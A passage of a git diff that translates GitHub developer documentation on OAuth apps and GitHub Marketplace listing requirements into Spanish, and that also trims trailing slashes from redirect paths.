+++ b/translations/es-ES/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
@@ -2,7 +2,7 @@
 title: Transferir la propiedad de una App de OAuth
 intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app/
+  - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app
   - /apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app
   - /developers/apps/transferring-ownership-of-an-oauth-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md b/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
index 8f6948a27b..95ad417637 100644
--- a/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
+++ b/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
@@ -2,7 +2,7 @@
 title: Solución de problemas para los errores de solicitud de autorización
 intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors/
+  - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors
   - /apps/managing-oauth-apps/troubleshooting-authorization-request-errors
   - /developers/apps/troubleshooting-authorization-request-errors
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
index 2bd3c2184f..ae4fd1874a 100644
--- a/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
+++ b/translations/es-ES/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
@@ -2,7 +2,7 @@
 title: Solucionar problemas para los errores de solicitud en los tokens de acceso a Apps de OAuth
 intro: '{% data reusables.shortdesc.troubleshooting_access_token_reques_errors_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/
+  - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
   - /apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
   - /developers/apps/troubleshooting-oauth-app-access-token-request-errors
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
index ea47b4b45a..970a16b117 100644
--- a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
+++ b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
@@ -1,12 +1,12 @@
 ---
-title: Requirements for listing an app
-intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.'
+title: Requisitos para listar una app
+intro: 'Las apps que se encuentren en {% data variables.product.prodname_marketplace %} deben cumplir con los requisitos que se detallan en esta página antes de que se pueda publicar la lista.'
 redirect_from:
-  - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/
-  - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/
-  - /apps/marketplace/getting-started-with-github-marketplace-listings/requirements-for-listing-an-app-on-github-marketplace/
-  - /apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace/
-  - /apps/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace
   - /marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace
   - /developers/github-marketplace/requirements-for-listing-an-app
 versions:
@@ -14,67 +14,68 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Listing requirements
+shortTitle: Listar los requisitos
 ---
+
 <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.-->
 
-The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app.
+Los requisitos para listar una app en {% data variables.product.prodname_marketplace %} varían de acuerdo con si quieres ofrecer una app gratuita o de pago.
 
-## Requirements for all {% data variables.product.prodname_marketplace %} listings
+## Requisitos para todas las listas de {% data variables.product.prodname_marketplace %}
 
-All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+Todas las listas de {% data variables.product.prodname_marketplace %} deben ser para las herramientas que proporcionen valor a la comunidad de {% data variables.product.product_name %}. Cuando emites tu lista para que se publique debes leer y aceptar las condiciones del [Acuerdo de Desarrollador de {% data variables.product.prodname_marketplace %}](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)".
 
-### User experience requirements for all apps
+### Requisitos de la experiencia del usuario para todas las apps
 
-All listings should meet the following requirements, regardless of whether they are for a free or paid app.
+Todas las listas deben cumplir con los siguientes requisitos, sin importar si son para una app gratuita o de pago.
 
-- Listings must not actively persuade users away from {% data variables.product.product_name %}.
-- Listings must include valid contact information for the publisher.
-- Listings must have a relevant description of the application.
-- Listings must specify a pricing plan.
-- Apps must provide value to customers and integrate with the platform in some way beyond authentication.
-- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only.
-- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+- Las listas no deben persuadir activamente a los usuarios de que salgan de {% data variables.product.product_name %}.
+- Las listas deben incluir la información de contacto válida del publicador.
+- Las listas deben tener una descripción relevante de la aplicación.
+- Las listas deben especificar un plan de precios.
+- Las apps deben proporcionar valor a los clientes e integrarse con la plataforma de alguna forma más allá de la autenticación.
+- Las apps deben estar disponibles al público en {% data variables.product.prodname_marketplace %} y no pueden estar en fase beta o únicamente disponibles con invitación.
+- Las apps deben contar con eventos de webhook configurados para notificar al publicador sobre cualquier cancelación o cambio en el plan utilizando la API de {% data variables.product.prodname_marketplace %}. Para obtener más información, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)."
+Para obtener más información sobre cómo proporcionar una buena experiencia al cliente, consulta la sección "[Mejores prácticas para la experiencia del cliente en las apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)".
 
-### Brand and listing requirements for all apps
+### Requisitos de marca y de listado para todas las apps
 
-- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)."
-- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
-- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
+- Las apps que utilizan los logos de GitHub deben seguir los lineamientos de {% data variables.product.company_short %}. Para obtener más información, consulta la sección "[Logos de {% data variables.product.company_short %} y su uso](https://github.com/logos)".
+- Las apps deben tener un logo, tarjeta de características, e imágenes de impresión de pantalla que cumplan con las recomendaciones que se proporcionan en "[Escribir las descripciones de los listados de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)".
+- Los listados deben incluir descripciones que estén bien escritas y no tengan errores gramaticales. Para obtener orientación sobre cómo escribir tu listado, consulta la sección "[Escribir las descripciones de los listados de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)".
 
-To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)."
+Para proteger a tus clientes, te recomendamos que también sigas las mejores prácticas de seguridad. Para obtener más información, consulta la sección "[Mejores prácticas de seguridad para las apps](/developers/github-marketplace/security-best-practices-for-apps)".
 
-## Considerations for free apps
+## Consideraciones para las apps gratuitas
 
-{% data reusables.marketplace.free-apps-encouraged %} 
+{% data reusables.marketplace.free-apps-encouraged %}
 
-## Requirements for paid apps
+## Requisitos para las apps de pago
 
-To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+Para publicar un plan de pago para tu app en {% data variables.product.prodname_marketplace %}, esta debe pertenecer a una organización que sea un publicador verificado. Para obtener más información sobre el proceso de verificación o de cómo transferir la propiedad de tu app, consulta la sección "[Solicitar una verificación de publicador para tu organización](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)".
 
-If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+Si tu app ya se publicó y eres un publicador verificado, entonces puedes publicar un plan de pago nuevo desde el editor de plan de precios. Para obtener más información, consulta la sección "[Configurar planes de precios para tu listado](/developers/github-marketplace/setting-pricing-plans-for-your-listing)".
 
-To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements:
+Para publicar una app de pago (o una app que te ofrece un plan de pago), también debes cumplir con los siguientes requisitos:
 
-- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations.
-- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users.
-- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below.
+- Las {% data variables.product.prodname_github_apps %} deben tener un mínimo de 100 instalaciones.
+- Las {% data variables.product.prodname_oauth_apps %} deben tener un mínimo de 200 usuarios.
+- Todas las apps de pago deben gestinar los eventos de compra de {% data variables.product.prodname_marketplace %} para las compras nuevas, mejoras, retrocesos, cancelaciones y pruebas gratuitas. Para obtener más información, consulta la sección "[Requisitos de facturación para las apps de pago](#billing-requirements-for-paid-apps)" que se encuentra más adelante.
 
-When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing.
+Cuando estés listo para publicar la app en {% data variables.product.prodname_marketplace %}, deberás solicitar la verificación de su listado.
 
 {% note %}
 
-**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)."
+**Nota:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} Para obtener más información sobre cómo transferir una app a una organización, consulta la sección: "[Enviar tu listado para que se publique](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)".
 
 {% endnote %}
 
-## Billing requirements for paid apps
+## Requisitos de facturación para las apps de pago
 
-Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Tu app no necesita administrar pagos, pero sí necesita utilizar los eventos de compra de {% data variables.product.prodname_marketplace %} para administrar las compras nuevas, mejoras, retrocesos, cancelaciones y pruebas gratuitas. Para obtener más información sobre cómo integrar estos eventos en tu app, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.product.product_location %}.
+El utilizar la API de facturación de GitHub permite a los clientes comprar una app sin salir de GitHub y pagar por el servicio con el método de pago que ya está adjunto a su cuenta de {% data variables.product.product_location %}.
 
-- Apps must support both monthly and annual billing for paid subscriptions purchases.
-- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+- Las apps deben permitir facturación mensual y anual para las compras de sus sucripciones de pago.
+- Los listados pueden ofrecer cualquier combienación de planes gratuitos y de pago. Los planes gratuitos son opcionales, pero se les fomenta. Para obtener más información, consulta la sección "[Configurar un plan de precios para los listados de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)".
diff --git a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
index 819585c706..491edf422b 100644
--- a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
+++ b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
@@ -2,7 +2,7 @@
 title: Mejores prácticas de seguridad para las apps
 intro: 'Lineamientos para preparar una app segura para que se comparta en {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/marketplace/getting-started/security-review-process/
+  - /apps/marketplace/getting-started/security-review-process
   - /marketplace/getting-started/security-review-process
   - /developers/github-marketplace/security-review-process-for-submitted-apps
   - /developers/github-marketplace/security-best-practices-for-apps
diff --git a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
index 0cb29f0aa8..0fc67b287b 100644
--- a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
+++ b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
@@ -2,9 +2,9 @@
 title: Visualizar las métricas para tu listado
 intro: 'La página de perspectivas de {% data variables.product.prodname_marketplace %} muestra métricas para tu {% data variables.product.prodname_github_app %}. Puedes utilizar las métricas para rastrear el desempeño de tu {% data variables.product.prodname_github_app %} y tomar decisiones informadas acerca de los precios, planes, periodos de prueba gratuitos, y de cómo visualizar los efectos de las campañas de marketing.'
 redirect_from:
-  - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing/
-  - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing/
-  - /apps/marketplace/github-marketplace-insights/
+  - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing
+  - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing
+  - /apps/marketplace/github-marketplace-insights
   - /marketplace/github-marketplace-insights
   - /developers/github-marketplace/viewing-metrics-for-your-listing
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md b/translations/es-ES/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
index 9b9bc6f646..a0208e9461 100644
--- a/translations/es-ES/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
+++ b/translations/es-ES/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
@@ -1,8 +1,8 @@
 ---
-title: About GitHub Marketplace
-intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.'
+title: Acerca de Mercado GitHub
+intro: 'Aprende más sobre {% data variables.product.prodname_marketplace %}, en donde puedes compartir tus apps y acciones públicamente con todos los usuarios de {% data variables.product.product_name %}.'
 redirect_from:
-  - /apps/marketplace/getting-started/
+  - /apps/marketplace/getting-started
   - /marketplace/getting-started
   - /developers/github-marketplace/about-github-marketplace
 versions:
@@ -11,55 +11,56 @@ versions:
 topics:
   - Marketplace
 ---
-[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) connects you to developers who want to extend and improve their {% data variables.product.prodname_dotcom %} workflows. You can list free and paid tools for developers to use in {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_marketplace %} offers developers two types of tools: {% data variables.product.prodname_actions %} and Apps, and each tool requires different steps for adding it to {% data variables.product.prodname_marketplace %}.
+
+[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) te conecta a los desarrolladores que quieren extender y mejorar sus flujos de trabajo de {% data variables.product.prodname_dotcom %}. Puedes listar herramientas gratuitas y de pago para que las utilicen los desarrolladores en {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_marketplace %} ofrece dos tipos de herramientas para los desarrolladores: {% data variables.product.prodname_actions %} y Apps, y cada herramienta requiere pasos diferentes para agregarla a {% data variables.product.prodname_marketplace %}.
 
 ## GitHub Actions
 
 {% data reusables.actions.actions-not-verified %}
 
-To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)."
+Para aprender sobre cómo publicar {% data variables.product.prodname_actions %} en {% data variables.product.prodname_marketplace %}, consulta la sección "[Publicar acciones en GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)".
 
-## Apps
+## Aplicaciones
 
-Anyone can share their apps with other users for free on {% data variables.product.prodname_marketplace %} but only apps owned by organizations can sell their app. 
+Cualquiera puede compartir las apps con otros usuarios gratuitamente en {% data variables.product.prodname_marketplace %}, pero solo las apps que pertenezcan a las organizaciones pueden venderse.
 
-To publish paid plans for your app and display a marketplace badge, you must complete the publisher verification process. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" or "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)."
+Para publicar planes de pago para tu app y mostrar una insignia de marketplace, debes completar el proceso de verificación del publicador. Para obtener más información, consulta la sección "[Solicitar la verificación del publicador para tu organización](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" o "[Requisitos para listar una app](/developers/github-marketplace/requirements-for-listing-an-app)".
 
-Once the organization meets the requirements, someone with owner permissions in the organization can publish paid plans for any of their apps. Each app with a paid plan also goes through a financial onboarding process to enable payments.
+Una vez que la organización cumpla con los requisitos, alguien con permisos de propietario en la organización puede publicar planes de pago para cualquiera de sus apps. Cada app con un plan de pago también llevará un proceso de incorporación financiera para habilitar los pagos.
 
-To publish apps with free plans, you only need to meet the general requirements for listing any app. For more information, see "[Requirements for all GitHub Marketplace listings](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)."
+Para publicar las apps con planes gratuitos, solo necesitas cumplir con los requisitos generales para listar cualquier app. Para obtener más información, consulta la sección "[Requisitos para todos los listados de GitHub Marketplace](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)".
 
-### New to apps?
+### ¿Eres nuevo en las apps?
 
-If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)."
+Si te interesa crear una app para {% data variables.product.prodname_marketplace %}, pero eres nuevo en las {% data variables.product.prodname_github_apps %} o en las {% data variables.product.prodname_oauth_apps %}, consulta la sección "[Crear {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" o la sección "[Crear {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)".
 
 ### {% data variables.product.prodname_github_apps %} vs. {% data variables.product.prodname_oauth_apps %}
 
-{% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_apps %} to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)."
+{% data reusables.marketplace.github_apps_preferred %}, aunque puedes listar tanto las Apps de OAuth como las {% data variables.product.prodname_github_apps %} en {% data variables.product.prodname_marketplace %}. Para obtener más información, consulta las secciones "[Diferencias entre las {% data variables.product.prodname_github_apps %} y las {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)" y "[Migrar de las {% data variables.product.prodname_oauth_apps %} a las {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)".
 
-## Publishing an app to {% data variables.product.prodname_marketplace %} overview
+## Resumen de cómo publicar una app en {% data variables.product.prodname_marketplace %}
 
-When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is:
+Cuando termines de crear tu app, puedes compartirla con otros usuarios si la publicas en {% data variables.product.prodname_marketplace %}. En resúmen, el proceso es:
 
-1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)."
+1. Revisa tu app cuidadosamente para garantizar que se comporte en otros repositorios como se espera y que cumpla con los lineamientos de mejores prácticas. Para obtener más información, consulta las secciones "[Mejores prácticas de seguridad para las apps](/developers/github-marketplace/security-best-practices-for-apps)" y "[Requisitos para listar una app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)".
 
-1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+1. Agrega eventos de webhook a la app para rastrear las solicitudes de facturación de los usuarios. Para obtener más información acerca de la API de {% data variables.product.prodname_marketplace %}, los eventos de webhook y las solicitudes de facturación, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)."
+1. Crea un borrador de lista de {% data variables.product.prodname_marketplace %}. Para obtener más información, consulta la sección "[Hacer un borrador de lista para tu app](/developers/github-marketplace/drafting-a-listing-for-your-app)".
 
-1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+1. Agrega un plan de precios. Para obtener más información, consulta la sección "[Configurar planes de precios para tu listado](/developers/github-marketplace/setting-pricing-plans-for-your-listing)".
 
-1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement."
+1. Lee y acepta las condiciones del "\[Acuerdo de Desarrollador de {% data variables.product.prodname_marketplace %}\](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement".
 
-1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)."
+1. Emite tu listado para que se publique en {% data variables.product.prodname_marketplace %}. Para obtener más información, consulta la sección "[Emitir tu lista para su publicación](/developers/github-marketplace/submitting-your-listing-for-publication)".
 
-## Seeing how your app is performing
+## Ver el desempeño de tu app
 
-You can access metrics and transactions for your listing. For more information, see:
+Puedes acceder a las métricas y transacciones de tu lista. Para obtener más información, consulta:
 
-- "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)"
-- "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)"
+- "[Visualizar las métricas de tu lista](/developers/github-marketplace/viewing-metrics-for-your-listing)"
+- "[Visualizar las transacciones de tu lista](/developers/github-marketplace/viewing-transactions-for-your-listing)"
 
-## Contacting Support 
+## Contactar a soporte
 
-If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly.
+Si tienes preguntas acerca de {% data variables.product.prodname_marketplace %}, por favor contacta directamente a {% data variables.contact.contact_support %}.
diff --git a/translations/es-ES/content/developers/github-marketplace/index.md b/translations/es-ES/content/developers/github-marketplace/index.md
index 1257a2d773..d91b96c2ee 100644
--- a/translations/es-ES/content/developers/github-marketplace/index.md
+++ b/translations/es-ES/content/developers/github-marketplace/index.md
@@ -2,8 +2,8 @@
 title: GitHub Marketplace
 intro: 'Lista tus herramientas en {% data variables.product.prodname_dotcom %} Marketplace para que los desarrolladores las utilicen o las compren.'
 redirect_from:
-  - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace/
-  - /apps/marketplace/
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace
+  - /apps/marketplace
   - /marketplace
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
index 1992412920..da230287dd 100644
--- a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
+++ b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
@@ -2,10 +2,10 @@
 title: Configurar un webhook para que te notifique sobre los cambios de plan
 intro: 'Después de [crear un listado de {% data variables.product.prodname_marketplace %} en borrador] (/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/), puedes configurar un webhook que te notifique cuando sucedan cambios en los planes de la cuenta de los clientes. Después de que configures el webhook, puedes [gestionar los tipos de evento de `marketplace_purchase`] (/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) en tu app.'
 redirect_from:
-  - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing/
-  - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing/
-  - /apps/marketplace/setting-up-github-marketplace-webhooks/creating-a-webhook-for-a-github-marketplace-listing/
-  - /apps/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/
+  - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing
+  - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing
+  - /apps/marketplace/setting-up-github-marketplace-webhooks/creating-a-webhook-for-a-github-marketplace-listing
+  - /apps/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook
   - /marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook
   - /developers/github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
index c366b33420..0040dfe667 100644
--- a/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
+++ b/translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
@@ -2,15 +2,15 @@
 title: Hacer un borrador de un listado para tu app
 intro: 'Cuando creas un listado de {% data variables.product.prodname_marketplace %}, GitHub lo guarda en modo borrador hasta que emitas la app para su aprobación. Tu listado muestra a los clientes cómo pueden utilizar tu app.'
 redirect_from:
-  - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace/
-  - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace/
-  - /apps/marketplace/getting-started-with-github-marketplace-listings/listing-an-app-on-github-marketplace/
-  - /apps/marketplace/creating-and-submitting-your-app-for-approval/listing-an-app-on-github-marketplace/
-  - /apps/adding-integrations/managing-listings-on-github-marketplace/removing-a-listing-from-github-marketplace/
-  - /apps/marketplace/managing-github-marketplace-listings/removing-a-listing-from-github-marketplace/
-  - /apps/adding-integrations/managing-listings-on-github-marketplace/editing-a-github-marketplace-listing/
-  - /apps/marketplace/managing-github-marketplace-listings/editing-a-github-marketplace-listing/
-  - /apps/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
+  - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/listing-an-app-on-github-marketplace
